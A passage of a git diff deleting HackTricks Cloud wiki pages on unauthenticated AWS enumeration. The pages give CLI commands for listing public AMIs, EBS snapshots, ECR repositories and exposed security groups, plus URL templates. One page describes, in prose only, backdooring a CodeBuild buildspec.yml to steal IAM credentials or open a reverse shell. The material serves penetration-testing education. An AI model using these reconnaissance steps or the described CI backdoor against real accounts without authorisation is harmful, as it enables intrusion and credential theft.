-https://{random_id}.cloudfront.net
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
deleted file mode 100644
index 9d4227753..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
+++ /dev/null
@@ -1,61 +0,0 @@
-# AWS - CodeBuild Unauthenticated Access
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## CodeBuild
-
-For more info check this page:
-
-{% content-ref url="../aws-services/aws-codebuild-enum.md" %}
-[aws-codebuild-enum.md](../aws-services/aws-codebuild-enum.md)
-{% endcontent-ref %}
-
-### buildspec.yml
-
-If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**.
-
-Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example.
-
-For some related information you could check the page about how to attack Github Actions (similar to this):
-
-{% content-ref url="../../../pentesting-ci-cd/github-security/abusing-github-actions/" %}
-[abusing-github-actions](../../../pentesting-ci-cd/github-security/abusing-github-actions/)
-{% endcontent-ref %}
-
-## Self-hosted GitHub Actions runners in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
-
-As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this:
-
-```bash
-runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
-```
-
-This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
deleted file mode 100644
index 89c2f12cd..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - DocumentDB Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### Public URL template
-
-```
-<name>.cluster-<random>.<region>.docdb.amazonaws.com
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
deleted file mode 100644
index 8067c97b0..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
+++ /dev/null
@@ -1,41 +0,0 @@
-# AWS - DynamoDB Unauthenticated Access
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Dynamo DB
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-dynamodb-enum.md" %}
-[aws-dynamodb-enum.md](../aws-services/aws-dynamodb-enum.md)
-{% endcontent-ref %}
-
-Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
deleted file mode 100644
index ea692e888..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
+++ /dev/null
@@ -1,88 +0,0 @@
-# AWS - EC2 Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## EC2 & Related Services
-
-Check in this page more information about this:
-
-{% content-ref url="../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %}
-[aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum](../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/)
-{% endcontent-ref %}
-
-### Public Ports
-
-It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it.
-
-#### SSRF
-
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf" %}
-
-### Public AMIs & EBS Snapshots
-
-AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account:
-
-{% code overflow="wrap" %}
-```bash
-# Public AMIs
-aws ec2 describe-images --executable-users all
-
-## Search AMI by ownerID
-aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]'
-
-## Search AMI by substr ("shared" in the example)
-aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]'
-
-# Public EBS snapshots (hard-drive copies)
-aws ec2 describe-snapshots --restorable-by-user-ids all
-aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
-```
-{% endcode %}
-
-If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot.
-
-#### Public URL template
-
-```bash
-# EC2
-ec2-{ip-seperated}.compute-1.amazonaws.com
-# ELB
-http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
-https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
-```
-
-### Enumerate EC2 instances with public IP
-
-{% code overflow="wrap" %}
-```bash
-aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
deleted file mode 100644
index 0e491c74e..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
+++ /dev/null
@@ -1,63 +0,0 @@
-# AWS - ECR Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## ECR
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-ecr-enum.md" %}
-[aws-ecr-enum.md](../aws-services/aws-ecr-enum.md)
-{% endcontent-ref %}
-
-### Public registry repositories (images)
-
-As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws/<random>/<name>`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image.
-
-{% code overflow="wrap" %}
-```bash
-aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
-```
-{% endcode %}
-
-{% hint style="warning" %}
-This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo.
-{% endhint %}
-
-### Enumerate Private Repo
-
-The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry.
-
-```bash
-# Get image names
-skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
-crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
deleted file mode 100644
index 1f9e1b97b..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
+++ /dev/null
@@ -1,53 +0,0 @@
-# AWS - ECS Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## ECS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-ecs-enum.md" %}
-[aws-ecs-enum.md](../aws-services/aws-ecs-enum.md)
-{% endcontent-ref %}
-
-### Publicly Accessible Security Group or Load Balancer for ECS Services
-
-A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks.
-
-{% code overflow="wrap" %}
-```bash
-# Example of detecting misconfigured security group for ECS services
-aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
-
-# Example of detecting a publicly accessible load balancer for ECS services
-aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
deleted file mode 100644
index 8ea519bad..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
+++ /dev/null
@@ -1,65 +0,0 @@
-# AWS - Elastic Beanstalk Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Elastic Beanstalk
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-elastic-beanstalk-enum.md" %}
-[aws-elastic-beanstalk-enum.md](../aws-services/aws-elastic-beanstalk-enum.md)
-{% endcontent-ref %}
-
-### Web vulnerability
-
-Note that by default Beanstalk environments have the **Metadatav1 disabled**.
-
-The format of the Beanstalk web pages is **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
-
-### Insecure Security Group Rules
-
-Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**.
-
-### Publicly Accessible Load Balancer
-
-If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments.
-
-### Publicly Accessible S3 Buckets
-
-Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**.
-
-### Enumerate Public Environments
-
-{% code overflow="wrap" %}
-```bash
-aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
deleted file mode 100644
index 0e6f5efc9..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
+++ /dev/null
@@ -1,38 +0,0 @@
-# AWS - Elasticsearch Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### Public URL template
-
-```
-https://vpc-{user_provided}-[random].[region].es.amazonaws.com
-https://search-{user_provided}-[random].[region].es.amazonaws.com
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
